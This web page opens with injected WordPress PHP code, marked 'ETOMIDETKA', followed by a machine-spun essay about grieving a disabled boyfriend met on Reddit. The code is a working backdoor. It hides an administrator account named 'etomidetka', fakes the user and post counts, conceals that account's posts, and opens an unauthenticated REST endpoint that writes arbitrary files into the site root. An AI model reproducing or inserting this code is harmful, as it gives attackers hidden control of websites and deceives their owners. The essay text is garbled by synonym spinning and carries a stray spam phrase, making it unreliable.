//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
We decided not to select the answer I happened to be in search of, and so i went to the fresh state library, and due to boogers and you may tears, advised the newest librarian exactly what got taken place and you will expected this lady having a guide toward suffering.
The fresh librarian gave me a list and i checked-out every publication in it. While i got home and you will first started paging using them, I discovered none of them was basically gonna assist me. Them presumed my personal boyfriend and that i got an actual physical union, therefore didn’t. We’d never ever even came across yourself.
I didn’t possess life insurance to manage, otherwise a passing certificate in order to access, or a casket to choose. I didn’t features a toothbrush so you’re able to dispose off, otherwise washing to pick by way of or land in order to give. There’s zero health statement I was guilty of. We won’t be also probably their funeral.
Alternatively, I got an extended string out of Skype messages, specific mementos We acquired regarding post, a few thousand digital photographs and you will some letters and you may passwords.
I satisfied Gabe courtesy Reddit in 2016. I engaged instantly more than our shared fascination with blue frozen beverages and indie stone musical. He instantly announced he had been handicapped, from inside the good wheelchair, and you will gonna never ever stroll, circulate otherwise breathe on his own due to a muscle situation entitled Duchenne muscular dystrophy.
So it wasn’t an issue personally. I became looking for business on the web as i transitioned to college because the a bashful scholar who had difficulties making friends. All that mattered was which he you’ll form of an email and you can create me make fun of. He was inside the Texas, I happened to be in the New jersey.
I found myself a devoted pal-turned-mate, and i also is completely smitten. We woke senior match upwards early to deliver your hello texts prior to categories, recorded sky kisses, and you will dropped resting speaking with him into the Skype. I took photos and video out-of casual some thing Gabe wouldn’t be capable feel once the he had been sleep-sure and i also mutual these with your.
I advised him to help you decorate, make songs and you will flow as he you may, and then he advised me to investigation difficult, find yourself my personal studies and you can difficulty me expertly. I got myself entry and you can went to an enthusiastic Arcade Fire performance, in which I then clips-talked him the entire reveal due to the fact he couldn’t sit in real time. He was the first individual publish me plant life on my birthday and encouraged me to use from my personal layer and you may resist my personal moms and dads. All of our dating instructed myself like is not regarding bodily distance, although items you manage and you may feel for example several other.
Owing to 2017 and you can 2018, the thread became when you’re his wellness refuted. We might speak away from sun-to sundown, chatting towards big date we would in the long run see. I decided to meet once I became financially independent out of my moms and dads ? develop from the 2020 when I would getting out of school.
But before 2019 got actually arrived, Gabe passed away instantly from congestive heart inability. When antique service solutions failed to unit me personally, I looked to the very lay I’d came across him: the web based.
We understood where to find schedules on the internet. It was not tough: Make a post and you may wait for answers so you can flooding within the. But shopping for an easy way to manage grief ? specifically the newest sadness that is included with shedding a man you have never fulfilled? We soon found that was not simple.
My personal postings had been flooded which have comments for example “I’m thus disappointed! I am unable to think which taking place!” and you will “I am not sure everything i would do basically was you.” We appreciated this new answers together with better-desires, but no-one extremely appeared to comprehend the gravity of my personal loss.